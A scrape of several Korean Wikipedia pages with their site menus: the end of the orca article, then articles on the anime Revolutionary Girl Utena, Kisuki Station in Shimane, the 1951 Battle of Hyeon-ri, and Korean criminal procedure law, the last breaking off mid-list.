이미지는 수면에서 옅보기, 빙산 흔들기와 먹잇감을 차거나 던지는 데에서 비롯하였다. 영화 《프리윌리》는 사육되는 범고래를 놓아 주려는 과정을 그리고 있다. 케이코라는 아이슬란드 해협에서 채집된 수컷이 주인공으로 등장한다. 오리건의 수족관에서 재활을 거친 후에 고향으로 되돌아갔지만, 그 뒤에도 인간에게 의지할 수밖에 없었으며, 2003년 12월에 폐렴으로 세상을 떠나고 말았다. 《포켓몬스터》에 등장하는 전설의 포켓몬 가이오가의 외형으로, 본래의 모티브는 레비아탄. 참고로 가이오가는 게임 내에서 최강의 물 포켓몬이다. 《침략! 오징어 소녀》의 오징어 소녀가 제일 무서워 하는 동물로 등장하였다. 각주[편집] ↑ “Orcinus orca”. 《멸종 위기 종의 IUCN 적색 목록. 2013.2판》 (영어). 국제 자연 보전 연맹. 2013. 2014년 6월 5일에 확인함.  ↑ Mead, J.G.; Brownell, R.L., Jr. (2005). 〈Order Cetacea〉 [고래목]. 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Robin W Baird Killer Whales of the World (2002) Voyageur Press, Stillwater, MN 외부 링크[편집] 위키미디어 공용에 관련된미디어 자료가 있습니다. 범고래 위키생물종에 관련된분류 및 자료가 있습니다. 범고래 위키낱말사전에관련된 항목이 있습니다. 범고래 사진과 영상자료 Orca-Live - Orcas in Johnstone Strait, British Columbia CNN: Clash of the Titans October 8, 1997 - Orca killing a Great White Shark Killer whale images, Tysfjord, Norway Orcafilm from Lofoten Islands Monterey Bay Whale Watch Photos: Killer Whales Attacking Gray Whales Video:Orca Attack Seal with Waves(Youtube) Video:Faked attack on Kayaker(Youtube) 지역별 북동태평양: Southern Residents (research by under/graduates at Beam Reach) Residents of the Pacific Northwest (general info from The Whale Museum) Residents of Southern Alaska (research) Southern Residents (Human-Orca Interaction) 북대서양과 북극해: Research project studying Killer whales in the Norwegian Arctic 남반구 해양: New Zealand, Papua New Guinea and Antarctic orca research 일반 정보 Killers of Eden Whale and Dolphin Conservation Society vdeh현존하는 고래하목의 종 계: 동물계 문: 척삭동물문 강: 포유강 하강: 진수하강 상목: 로라시아상목 목: 우제목/경우제목 수염고래소목참고래과북극고래속 북극고래 참고래속 남방참고래 북대서양참고래 북태평양참고래 수염고래과대왕고래속 밍크고래(북방쇠정어리고래) 남극밍크고래(남방쇠정어리고래) 보리고래 브라이드고래 에덴고래 대왕고래 오무라고래 큰고래 혹등고래속 혹등고래 귀신고래과귀신고래속 귀신고래 꼬마긴수염고래과꼬마긴수염고래속 꼬마긴수염고래 이빨고래소목보토과보토속 아라과이아강돌고래 볼리비아강돌고래 아마존강돌고래 프란시스카나과프란시스카나속 프란시스카나 양쯔강돌고래과양쯔강돌고래속 양쯔강돌고래 인도강돌고래과인도강돌고래속 인도강돌고래 참돌고래과흑백돌고래속 머리코돌고래 칠레돌고래 하비사이드돌고래 헥토르돌고래 참돌고래속 긴부리참돌고래 짧은부리참돌고래 들고양이고래속 들고양이고래 거두고래속 들쇠고래 참거두고래 큰코돌고래속 큰코돌고래 사라왁돌고래속 사라왁돌고래 낫돌고래속 대서양흰줄무늬돌고래 흰부리돌고래 필돌고래 모래시계돌고래 낫돌고래 흰배낫돌고래 고추돌고래속 북방고추돌고래 남방고추돌고래 강거두고래속 강거두고래 오스트레일리아강거두고래 범고래속 범고래 고양이고래속 고양이고래 흑범고래속 흑범고래 정글참돌고래속 투쿠시 기아나돌고래 혹등돌고래속 인도태평양혹등고래 인도혹등돌고래 오스트레일리아혹등돌고래 대서양혹등돌고래 중국흰돌고래 알락돌고래속 범열대알락돌고래 클리멘돌고래 줄무늬돌고래 대서양알락돌고래 긴부리돌고래 뱀머리돌고래속 뱀머리돌고래 큰돌고래속 남방큰돌고래 부르난큰돌고래 큰돌고래 외뿔고래과흰돌고래속 흰돌고래 외뿔고래속 외뿔고래 쇠돌고래과상괭이속 상괭이 쇠돌고래속 안경돌고래 쇠돌고래 바키타 버마이스터돌고래 까치돌고래속 까치돌고래 향고래과향고래속 향고래 꼬마향고래과꼬마향고래속 쇠향고래 꼬마향고래 부리고래과부리고래속 아르누부리고래 망치고래 병코고래속 북방병코고래 남방병코고래 열대병코고래속 열대병코고래 이빨부리고래속 소워비부리고래 앤드류부리고래 허브부리고래 혹부리고래 제르베부리고래 은행이빨부리고래 그레이부리고래 헥토르부리고래 데라냐갈라부리고래 끈모양이빨고래 트루부리고래 페린부리고래 꼬마부리고래 큰이빨부리고래 부채이빨부리고래 셰퍼드부리고래속 셰퍼드부리고래 민부리고래속 민부리고래 고래류의 종 목록 전거 통제 GND: 4328271-4 BNF: cb12350862r (데이터) NDL: 00576680 원본 주소 "https://ko.wikipedia.org/w/index.php?title=범고래&oldid=24468534" 분류: IUCN 적색 목록 정보부족종범고래해양 포유류1758년 기재된 동물숨은 분류: CS1 - 영어 인용 (en)CS1 관리 - 여러 이름인용 오류 - 날짜CS1 관리 - et al.의 직접적인 사용인용 오류 - 제목 없이 URL을 사용함라틴어 표기를 포함한 문서영어 표기를 포함한 문서고대 그리스어 표기를 포함한 문서인용 오류 - 오래된 변수를 사용함위키낱말사전과 연결된 문서GND 식별자를 포함한 위키백과 문서BNF 식별자를 포함한 위키백과 문서 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 다른 프로젝트 위키미디어 공용위키생물종 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 AfrikaansالعربيةAsturianuAzərbaycancaتۆرکجهБеларускаяБеларуская (тарашкевіца)‎Българскиབོད་ཡིགBrezhonegCatalàCebuanoᏣᎳᎩČeštinaCymraegDanskDeutschΕλληνικάEnglishEsperantoEspañolEestiEuskaraفارسیSuomiFøroysktFrançaisGaeilgeGàidhligGalegoAvañe'ẽ客家語/Hak-kâ-ngîעבריתHrvatskiMagyarՀայերենInterlinguaBahasa IndonesiaIñupiakIdoÍslenskaItalianoᐃᓄᒃᑎᑐᑦ/inuktitut日本語ქართულიҚазақшаKalaallisutLatinaLimburgsLietuviųLatviešuМакедонскиമലയാളംМонголBahasa MelayuNāhuatlNederlandsNorsk nynorskNorskNovialDiné bizaadOccitanPolskiپنجابیپښتوPortuguêsRomânăРусскийSicilianuDavvisámegiellaSrpskohrvatski / српскохрватскиSimple EnglishSlovenčinaSlovenščinaShqipСрпски / srpskiSvenskaதமிழ்తెలుగుไทยTagalogTürkçeТатарча/tatarçaУкраїнськаOʻzbekcha/ўзбекчаTiếng ViệtWinaray吴语中文Bân-lâm-gú粵語 링크 편집 이 문서는 2019년 6월 23일 (일) 08:47에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
소녀혁명 우테나 - 위키백과, 우리 모두의 백과사전 소녀혁명 우테나 위키백과, 우리 모두의 백과사전. 둘러보기로 가기 검색하러 가기 소녀혁명 우테나일본어: 少女革命ウテナ 장르 로맨스 판타지 드라마 만화 작가 사이토 치호 출판사 쇼가쿠칸 연재 기간 1997년 ~ 1998년 권수 전 5권 TV 애니메이션 감독 이쿠하라 쿠니히코 제작 J.C.STAFF 방송사 TV 도쿄 계열 방영 기간 1997년 4월 2일 ~ 12월 24일 화수 39화 영화: 애덜레슨스 묵시록 감독 이쿠하라 쿠니히코 제작 J.C.STAFF 틀 - 토론 《소녀혁명 우테나》(일본어: 少女革命ウテナ)는 감독 이쿠하라 쿠니히코(幾原邦彦), 각본가 에노키도 요지(榎戸洋司), 작화가 하세가와 신야(長谷川眞也), 만화가 사이토 치호(さいとうちほ)가 속해 있는 창작 집단 비파파스(Be-PaPas)가 기획한 작품으로, 1997년 4월부터 TV 도쿄를 통해 39화의 TV 애니메이션 시리즈로 제작, 방영되었고, 1999년에 극장판 《Adolescence 묵시록》이 상영되었다. 목차 1 TV 시리즈 애니메이션 1.1 스탭 1.2 음악 2 극장판 애니메이션 3 등장 인물 3.1 초기 결투 관계자 3.2 흑장미회 관계자 3.3 그 외의 인물 TV 시리즈 애니메이션[편집] 스탭[편집] 기획&원작: Be-PaPas 원안&감독: 이쿠하라 쿠니히코(幾原邦彦) 캐릭터 원안&만화: 사이토 치호(さいとうちほ) 시리즈 구성: 에노키도 요지(榎戸洋司) 캐릭터 디자인: 하세가와 신야(長谷川眞也) 컨셉트 디자인: 나가하마 히로시(長濱博史) 조감독: 카네코 신고(金子伸吾), 다카하시 도루(高橋亭) 작화감독: 하야시 아케미(林明美), 타케노우치 노부유키(たけのうちのぶゆき), 하세가와 신야 미술감독: 코바야시 시치로(小林七郎) 촬영감독: 나카조 토요미츠(中條豊光) 음향감독: 타나카 히데유키(田中英行) 음악: 미츠무네 신키치(光宗信吉) 오리지널 스코어 작곡: J. A. 시저(J.A. シーザー) 애니메이션 제작: J.C.STAFF 기획협력: SOFTX 플래닝: 오구로 유이치로(小黒祐一郎) 프로듀서: 코바야시 노리코(小林敦子) - TV 도쿄, 이케다 신이치(池田慎一) - 요미우리 광고사 음악[편집] 여는 노래〈윤무-revolution(輪舞-revolution)〉 작사&노래: 오쿠이 마사미(奥井雅美) 작·편곡: 야부키 토시로(矢吹俊郎) 닫는 노래 1〈truth〉(1화~24화) 작사: 후지바야시 세이코(藤林聖子) 작곡: 아라이 리키(新井理生) 편곡: 하라마 아키히코(平間あきひこ) 노래: 유미 루카(裕未瑠華) 닫는 노래 2〈버추얼 스타 발생학(バーチャルスター発生学)〉(25화~38화) 작사&작곡: J.A. 시저 편곡: 미츠무네 신키치 노래: 카미야 마키(上谷麻紀) 닫는 노래 3〈Rose&release〉(39화) 작·편곡: 야부키 토시로 코러스: 오쿠이 마사미(奥井雅美) 극장판 애니메이션[편집] 이 부분의 본문은 소녀혁명 우테나 애덜레슨스 묵시록입니다. 등장 인물[편집] 초기 결투 관계자[편집] 텐조 우테나(일본어: 天上 ウテナ) 성우:카와카미 토모코 주인공. 여자이지만 남장을 하고 다닌다. 히메미야 안시(일본어: 姫宮 アンシー) 성우: 후치자키 유리코 '장미의 신부'란 결투의 승자가 얻게 되는 전리품이다. 키류 토가(일본어: 桐生 冬芽) 성우: 코야스 타케히토 학생회장. 사이온지 쿄이치(일본어: 西園寺 莢一) 성우: 쿠사오 타케시 부회장. 아리스가와 주리(일본어: 有栖川 樹璃) 성우: 미츠이시 코토노 검도부의 에이스. 스스로에게 엄격하나 단 하나의 약점이 있다. 카오루 미키(일본어: 薫 幹) 성우: 히사카와 아야 학생회 서기. 중등부의 아이돌. 키류 나나미(일본어: 桐生 七実) 성우: 시라토리 유리 토가의 여동생. 오빠에게 집착한다. 오오토리 아키오(일본어: 鳳 暁生) 성우: 코스기 주로타 (극장판은 오이카와 미츠히로 이사장. 디오스 (ディオス) 성우: 유키 히로 흑장미회 관계자[편집] 미카게 소지(일본어: 御影 草時) 성우:미도리카와 히카루 치다 마미야(일본어: 千唾 馬宮) 성우:카와무라 마리아 치다 토키코(일본어: 千唾 時子) 성우:히다카 노리코 그 외의 인물[편집] 시노하라 와카바(일본어: 篠原 若葉) 성우: 이마이 유카 우테나의 단짝 친구. 카자미 타츠야(일본어: 風見 達也) 성우: 오키아유 료타로 타카츠키 시오리(일본어: 高槻 枝織) 성우: 니시하라 쿠미코 츠치야 루카(일본어: 土谷 瑠果) 성우: 사사키 노조무 카오루 코즈에(일본어: 薫 梢) 성우: 혼다 치에코 미키의 쌍둥이 여동생. 오오토리 카나에(일본어: 鳳 香苗) 성우: 오리카사 아이 츠와부키 미츠루(일본어: 石蕗 美蔓) 성우: 야지마 아키코 키류 나나미의 추종자 소노다 케이코(일본어: 苑田 茎子) 성우: 나카가와 아키라 오오세 유코(일본어: 大瀬 優子) 성우: 모토이 에미 와키야 아이코(일본어: 脇谷 愛子) 성우: 타카노 나오코 그림자 소녀(影絵少女) 성우: 그림자 소녀 A코(E코):카와무라 마리아, 그림자 소녀B코(F코):코오로기 사토미, 그림자 소녀C코:와타나베 쿠미코 추추(チュチュ) 성우: 코오로기 사토미 플레이어 캐릭터(プレイヤーキャラクター, 디폴트 이름 없음) 성우: 후지노 카오루 산조인 치구사(일본어: 三条院 千種) 성우: 오카모토 마야 vdehJ.C.STAFFTV 시리즈1994-2000 메탈 파이터 미쿠 (1994) 슬레이어즈 (1995) 슬레이어즈 넥스트 (1996) MAZE (1997) 소녀혁명 우테나 (1997) 슬레이어즈 트라이 (1997) 바이러스 (1997) 앨리스 SOS (1998) 그 남자! 그 여자! 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기스키 역 - 위키백과, 우리 모두의 백과사전 기스키 역 위키백과, 우리 모두의 백과사전. (기스키역에서 넘어옴) 둘러보기로 가기 검색하러 가기 기스키 개괄 관할 기관 서일본 여객철도 소재지 일본 시마네현 운난 시 좌표 북위 35° 17′ 40.74″ 동경 132° 54′ 7.02″ / 북위 35.2946500° 동경 132.9019500°  / 35.2946500; 132.9019500 개업일 1916년 10월 11일 승강장 구조 2면 2선 노선 ■ 기스키 선 신지 기점 21.1km ← 미나미다이토 (3.6 km) 히노보리 →(3.7 km) 기스키 역(일본어: 木次駅)은 일본 시마네현 운난 시에 위치한 서일본 여객철도 기스키 선의 철도역이다. 상대식 승강장 2면 2선의 구조를 갖춘 지상역이다. 목차 1 타는 곳 2 이용 현황 3 역 주변 4 인접 역 타는 곳[편집] 플랫폼 노선 방향 행선지 비고 1 ■ 기스키 선 상행 신지 방면 일부 2번 승강장 2 ■ 기스키 선 하행 이즈모요코타 · 빈고오치아이 방면 이용 현황[편집] 승차 인원 추이 연도 1일 평균 1999 237 2000 252 2001 275 2002 227 2003 201 2004 188 2005 191 2006 180 2007 183 2008 182 2009 171 2010 171 2011 173 2012 172 2013 168 역 주변[편집] 마쓰에 자동차도 미토야키스키 나들목 국도 제54호선 · 국도 제314호선 운난 시청 인접 역[편집] 서일본 여객철도 기스키 선 미나미다이토신지 방면 ■ 기스키 선 히노보리빈고오치아이 방면 vdeh 기스키 선신지 - 미나미신지 - 가모나카 - 하타야 - 이즈모다이토 - 미나미다이토 - 기스키 - 히노보리 - 시모쿠노 - 이즈모야시로 - 이즈모미나리 - 가메다케 - 이즈모요코타 - 야카와 - 이즈모사카네 - 미노하라 - 유키 - 빈고오치아이 원본 주소 "https://ko.wikipedia.org/w/index.php?title=기스키_역&oldid=22141634" 분류: 서일본 여객철도의 철도역시마네현의 철도역일본국유철도의 철도역1916년 개업한 철도역운난시의 건축물운난시의 교통숨은 분류: 일본어 표기를 포함한 문서지도가 있는 문서 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 다른 프로젝트 위키미디어 공용 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 English日本語 링크 편집 이 문서는 2018년 8월 29일 (수) 14:46에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
현리 전투 - 위키백과, 우리 모두의 백과사전 현리 전투 위키백과, 우리 모두의 백과사전. 둘러보기로 가기 검색하러 가기 현리 전투한국 전쟁의 일부날짜1951년 5월 16일 ~ 5월 22일장소강원도 인제군 기린면 현리 일대결과 공산군의 압도적인 승리공산군에게 동부전선에 커다란 돌파구를 허용교전국 대한민국 조선민주주의인민공화국 중화인민공화국지휘관 3군단장 유재흥 7사단장 김형일 9사단장 최석 3사단장 김종오 펑더화이병력 국군 제3군단 중공군 제9병단 12군, 20군, 27군 제2, 3, 5군단피해 규모 불명 이 문서의 내용은 출처가 분명하지 않습니다.이 문서를 편집하여, 신뢰할 수 있는 출처를 표기해 주세요. 검증되지 않은 내용은 삭제될 수도 있습니다. 내용에 대한 의견은 토론 문서에서 나누어 주세요. (2011년 12월) 현리 전투(縣里戰鬪)는 한국전쟁 중 1951년 5월 16일 ~ 5월 22일 동안 강원도 인제군 기린면 현리에서 중공군과 조선인민군, 한국군 사이에서 벌어진 전투이다. 중공군이 춘계 공세를 벌였을 때 벌어진 전투로 인제군에 있던 한국군 제3군단이 방어에 실패하고 하진부리까지 밀렸다. 한국 역사 3대 패전 (칠천량해전, 쌍령전투, 현리전투) 중 하나로 꼽힌다. 목차 1 경과 2 증언 3 영향 4 평가 5 함께 보기 6 참조 7 각주 경과[편집] 중공군 12군단, 27군단과 조선인민군 5군단은 3군단을 공격하면서, 동시에 보급로인 오마치 고개를 점령했다. 3군단이 포위당하자 당시 군단장이던 유재흥은 부군단장을 대리로 지정한 후 군단을 버리고 항공기편으로 군단본부로 돌아갔다. "작전회의에 참석하기 위하여 갔다"라고 항변하였지만 당시 참모총장이었던 백선엽 장군의 저서 《밴 플리트 장군과 한국군》 136쪽에는 "이 때 유재흥은 작전회의에 조차 참석하지 않았다."고 명시했다. 이 후 3군단은 지휘통제가 불가능한 와해 상황이 되었으며, 사단장들을 비롯한 모든 지휘관들이 지휘를 포기하고 계급장을 제거한 후 살기위해 무질서한 도피를 시작했다. 결국 현리에서 한국군 3군단 예하 3사단, 9사단 병력 2만 2천 명 가운데 4천 명의 사상자와 행방불명자를 냈고, 27일까지 병력의 70% 가량만 복귀했으며, 무기는 70%잃었다. 증언[편집] 정병석 인제 문화원장은 15세때 3군단 3사단 18연대에 학도병으로 배치됐다. 그는 "적군이 점령한 능선과 계곡을 피해 가파른 산 중턱을 탈출로 삼아 밤낮 없이 걸었으며, 곳곳에는 탈진과 굶주림으로 사망한 전우의 시신이 흩어져 있었으나 미처 수습할 겨를이 없었다"라고 말했다.[1] 영향[편집] 당시 밴 플리트 미8군 사령관은 한국군 제1군단을 제외한 모든 군단 사령부를 해체하고 일체의 작전지휘권을 미군 장성들에게만 부여하였으며, 1군단 또한 육군본부를 지휘선상에서 제외하고 미군 사령부에서 직접적인 지휘를 받도록 해 시점부터 모든 한국군의 작전지휘권이 상실되었다. 이 전투에 패전함에 따라 밴 플리트의 명령에 의해 3군단이 1951년 5월 26일 해체되었다. 평가[편집] 임진왜란 당시의 칠천량 해전, 병자호란 당시의 쌍령 전투와 함께 역사상 최악의 3대 패전으로 꼽힌다. 함께 보기[편집] 덕천 전투 유재흥 참조[편집] 온창일 외, <<6.25전쟁 60대 전투>>, 황금알 2010 각주[편집] ↑ 임보연; 박종성VJ (2010년 4월 5일). “<6.25 참패 '현리전투' 참가자 정병석씨>”. 연합뉴스. 2011년 12월 11일에 확인함.  더 이상 지원되지 않는 변수를 사용함 (도움말) vdeh 한국 전쟁 대한민국 (대한민국 국군) 조선민주주의인민공화국 (조선인민군) 참전국 그리스 왕국 남아프리카 연방 네덜란드 뉴질랜드 미국 벨기에 & 룩셈부르크 소련 에티오피아 제국 영국 오스트레일리아 중화인민공화국 캐나다 콜롬비아 태국 터키 프랑스 필리핀 의료지원국 노르웨이 덴마크 스웨덴 이탈리아 인도 헝가리 대중문화 다큐멘터리 영화 영화 도서 재연 M*A*S*H 전투 서열 미국 제8군 제7함대 제5공군 유엔군 중국인민지원군 배경 한반도 분단 제2차 국공 내전 애치슨 선언 조중동맹조약 주요 전투 폭풍 작전 조선인민군의 서울 점령 한강 전투 오산 전투 대전 전투 부산 교두보 전투 인천 상륙 작전 서울 수복 평양 탈환 장진호 전투 흥남 철수 작전 1·4 후퇴 선더볼트 작전 중공군 춘계공세 피의 능선 전투 백마고지 전투 금성 전투 기타 여파 화학전 논란 탈영병 정전 MiG 골목길 블랙리스트 포티 글로리 기념 공원 전쟁 기념관 무기 이 글은 전쟁에 관한 토막글입니다. 여러분의 지식으로 알차게 문서를 완성해 갑시다. 원본 주소 "https://ko.wikipedia.org/w/index.php?title=현리_전투&oldid=24461234" 분류: 1951년 남북 관계1951년 분쟁한국 전쟁의 전투중화인민공화국의 전투인제군의 역사숨은 분류: 인용 오류 - 오래된 변수를 사용함출처가 필요한 글/2011년 12월출처가 필요한 모든 글전체에 출처가 필요한 글전쟁에 관한 토막글모든 토막글 문서 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 링크 추가 이 문서는 2019년 6월 21일 (금) 21:08에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
형사소송법 - 위키백과, 우리 모두의 백과사전 형사소송법 위키백과, 우리 모두의 백과사전. 둘러보기로 가기 검색하러 가기 현재 이 문서는 주로 대한민국에 한정된 내용만을 다루고 있습니다.다른 국가·지역에 대한 내용을 보충하여 문서의 균형을 맞추어 주세요. 내용에 대한 의견이 있으시면 토론 문서에서 나누어 주세요. (2016년 9월) 형사소송법 이념과 구조 무죄추정의 원칙  · 자백배제법칙  · 전문법칙 증거보전청구권  · 형사보상청구권  ·독수독과이론 실체적 진실주의  · 적정절차  ·신속한 재판의 원칙 진술거부권  · 접견교통권  · 증거개시제도 열람등사권  · 위법수집증거배제법칙 법원 제척  · 기피  · 회피관할  · 이송 · 법관 피고인과 변호인 피고인  ·변호인  · 성명모용자  · 공동피고인국선변호인  · 법정대리인 검사 기소독점주의  · 검사 동일체의 원칙 수사 함정수사 · 불심검문 · 임의동행 · 동행요구  · 사법경찰관 구속 구속영장 · 체포영장 증거법 정황증거 · 전문증거  · 진술조서 · 진술서 · 실황조사서  · 검증조서 진술 · 증인 재판 공소장  · 공소장일본주의 고소 · 고발 · 고소불가분의 원칙 · 자수 상소 항소, 상고 & 비상상고 다른 7법 영역 헌법 · 민법 · 형법 민사소송법 · 형사소송법 · 행정법 포탈: 법 · 법철학 · 형사정책 v • d • e • h 형사소송법(刑事訴訟法)은 수사 및 형사재판 절차를 규정한 공법으로, 수사의 절차, 재판의 개시, 재판 절차, 판결의 선고, 선고된 판결에 대한 불복 및 확정 등에 대한 일반적인 법규정을 망라한 절차법이다. 형사절차를 규정하고 있다는 점에서 민사절차를 규정하고 있는 민사소송법과 구별되며, 범죄의 구성요건과 그에 대한 형벌을 규정하고 있는 실체법으로서의 형법과도 구별된다. 목차 1 법원 1.1 형사소송법의 법원이 되는 헌법규정 1.2 형사소송법의 법원에 해당하는 대법원 규칙 2 주요 판례 3 관련문헌 4 각주 법원[편집] 형사소송법의 법원이 되는 헌법규정[편집] 적법절차의 원칙(제12조①③) 형사절차법정주의(제12조①) 강제수사법률주의(제12조① 전단) 고문을 받지 아니할 권리(제12조② 전단) 진술거부권(제12조② 후단) 수사절차상의 영장주의(제l2조③, 제16조), 긴급체포와 현행범체포(제l2조③) 변호인의 조력을 받을 권리(제12조④) 구속사유 및 변호인선임권을 고지받을 권리(제12조⑤ 전단) 피구속자의 가족 등에게 구속사유를 통지하게 할 권리(제12조⑤ 후단) 체포 • 구속적부심사청구권(제12조⑥) 자백배제법칙(제l2조⑦) 자백의 보강법칙(제12조⑦) 일사부재리의 원칙(제13조①) 공정한 재판을 받을 권리(제27조①) 군사법원의 재판을 받지 아니할 권리(제27조②) 신속한 재판을 받을 권리(제27조③) 공개재판을 받을 권리(제27조③) 무죄추정의 권리(제27조④) 형사피해자의 재판절차진술권(제27조⑤) 형사보상청구권(제2조⑧) 과잉금지의 원칙(제37조②) 국회의원의 불체포특권(제44조) 국회의원의 면책특권(제45조) 대통령의 형사상 불소추특권(제84조) 헌법소원(제111조① 제5호) 형사소송법의 법원에 해당하는 대법원 규칙[편집] 형사소송규칙 국민의 형사재판 참여에 관한 규칙 공판정에서의 좌석에 관한 규칙 법정에서 방청 • 촬영 등에 관한 규칙 소년심판규칙 형사소송비용 등에 관한 규칙 소송촉진 등에 관한 특례규칙 법정등의 질서유지를 위한 재판에 관한 규칙 주요 판례[편집] 증거보전절차와 전심재판 / 증거보전 판사 항소심 사건 자백배제법칙과 파생증거의 증거능력 / 압수된 망치 사건 간통죄 고소의 유효조건 / 피고인 먼저 고소 사건 공소장과 기타 사실의 기재 / 시효완성 사실 기재 사건 간통죄 고소의 방식 / 엄벌요구 진정서 사건 피해자 환부의 요건 / 가나리 압수 보관 사건 공범자에 대한 증거보전신청, 공판조서의 모순된 기재 / 치안본부 구내식당 사건 기피신청의 요건 / 기피신청후 퇴직 사건 고소능력과 고소기간 / 철들어 고소 사건 불기소처분에 대한 헌법소원 / 융모상피암 환자 사망 사건 간통죄와 공소사실의 특정 / ‘시내 불상지 간통’ 사건 고발사건과 헌법소원 / 암소 1마리 갈취 사건 간통죄 고소의 특정방법 / 가출 배우자 발견 사건 증거동의와 내용부인의 관계, 증거동의와 진정성 요건 / 폭행사실 번복 사건 재정신청절차와 기피신청 / 고소인 처 증인신청 사건 고발사건과 헌법소원 / 도시계획 공무원 사건 면책특권의 소송법적 효과 / 국시 논쟁 사건 검찰사건사무규칙의 법적 성질 / 광업권 고소 재기수사 사건 변호인 상소권의 법적 성질 / 치료감호 당일 상고포기 사건 공소장일본주의와 여죄의 기재, 공소장변경의 필요성 / 트레이딩 회사 사채모집 사건 고소사건과 피해자의 범위 / 정당 플래카드 철거 사건 공소사실의 동일성 판단기준 / 염산에페드린 은닉 사건 간통죄 고소의 법적 성질 / 이혼소송 소장각하 사건 포괄일죄와 공소시효의 기산점 / 한약업사 진료 사건 고소의 객관적 효력범위, 공소불가분의 원칙 / 협박죄 고소취소 사건 음주측정 거부와 진술거부권, 음주측정의 법적 성질 / 취객 음주측정 불응 사건 항소심 공소장변경과 사건이송 / 상습사기 공소사실 추가 사건 소년사건과 소년 요건의 법적 성질 / 소년감경 추가 사건 수사보고서의 법적 성질, 수사 경찰관의 증인적격 / 나이트클럽 앞 싸움 사건 상고심의 기능과 위상 / 반성 없는 선고유예 사건 지문채취의 법적 성질 / 지문 거부 즉결심판 사건 재전문진술의 증거능력 / 사기죄 전문증거 사건 직권남용죄와 검사동일체의 원칙 / 검찰총장 내사중단 지시 사건 참고인 진술의 임의성 / 연예기획사 운전기사 사건 공동피고인의 증인적격 / 절도범 대 장물범 사건 공판중심주의와 직접심리주의 / 보도방 접객원 사건 새로운 증거의 신규성과 명백성 / 무정자증 강간범 사건 공소사실의 동일성과 사물관할 / 상습도박 대 특가법사기 사건 전문증거의 성립요소 / 문자메세지 사진 사건 범칙금 납부와 불처벌의 범위 / 자동차용품점 앞 교통사고 사건 공소사실의 특정성 / ‘불상지 불상량 투여’ 사건 허위사실의 입증방법 / ‘감사중단 지시’ 사건 간통죄 고소의 유효조건 / 협의이혼 후 이혼소송 취하 사건 비밀녹음 보도와 정당행위 주장 / 안기부 X파일 사건 녹음테이프의 증거능력 / 정당협의회 식사대금 사건 영장재판의 불복방법 / 네 번째 영장기각 사건 접견교통권 제한과 준항고 / 단독 접견신청 거부 사건 직근 상급법원의 결정기준 / 심급관할 대 관할구역 사건 검사의 접견금지결정과 헌법소원 / ‘기소시까지 접견금지’ 사건 인권옹호에 관한 검사의 지휘 범위 / 인권옹호방해죄 위헌심판 사건 공소장변경의 필요성 / 피가름 설교 사건 사실오인과 채증법칙위반의 구별 / 검찰청 소변검사 사건 함정수사의 판단기준 / 취객 상대 부축빼기 사건 포괄일죄 추가기소의 법적 성질 / 협박범행 추가기소 사건 위법수집증거배제법칙의 적용범위 / 제주지사실 압수수색 사건[깨진 링크(과거 내용 찾기)] 업무상 작성된 통상문서 / 성매매 메모리카드 사건 약식절차와 공소장일본주의, 공판조서의 열람 지체와 증거능력 검찰사건 사무규칙의 법적 성질 / 기명날인 공소장 사건 고소능력과 고소기간 / 생활지도원 상담 사건 고소의 효력발생 시점, 간통 고소와 간통의 종용 및 유서 범죄사실 증명과 합리적 의심 / 대리운전사 급발진 사건 사경 면전 영상녹화물의 증거능력 / 녹음․녹화 요약서 사건 증언거부권 불고지의 법적 효과 / 전처 위증 사건 무죄판결과 상소이익 / 공소기각판결 상고 사건 디지털 저장매체 출력 문건의 증거능력, 영사증명서의 증거능력 진정성립 진술의 철회와 취소 / 의견진술 단계 동의 번복 사건 자백보강법칙 위반의 법적 효과 / 불법 비자 모집 사건 검사 수사지휘권의 범위 / 유치장 호송 명령 사건 공판조서의 절대적 증명력 / 증거동의 오기 주장 사건 기피신청과 전심절차, 공판조서의 절대적 증명력 / 방북 교수 기피신청 사건 항고이유서 제출기회의 보장 / 송부 즉일 항고기각 사건 항소심 결정에 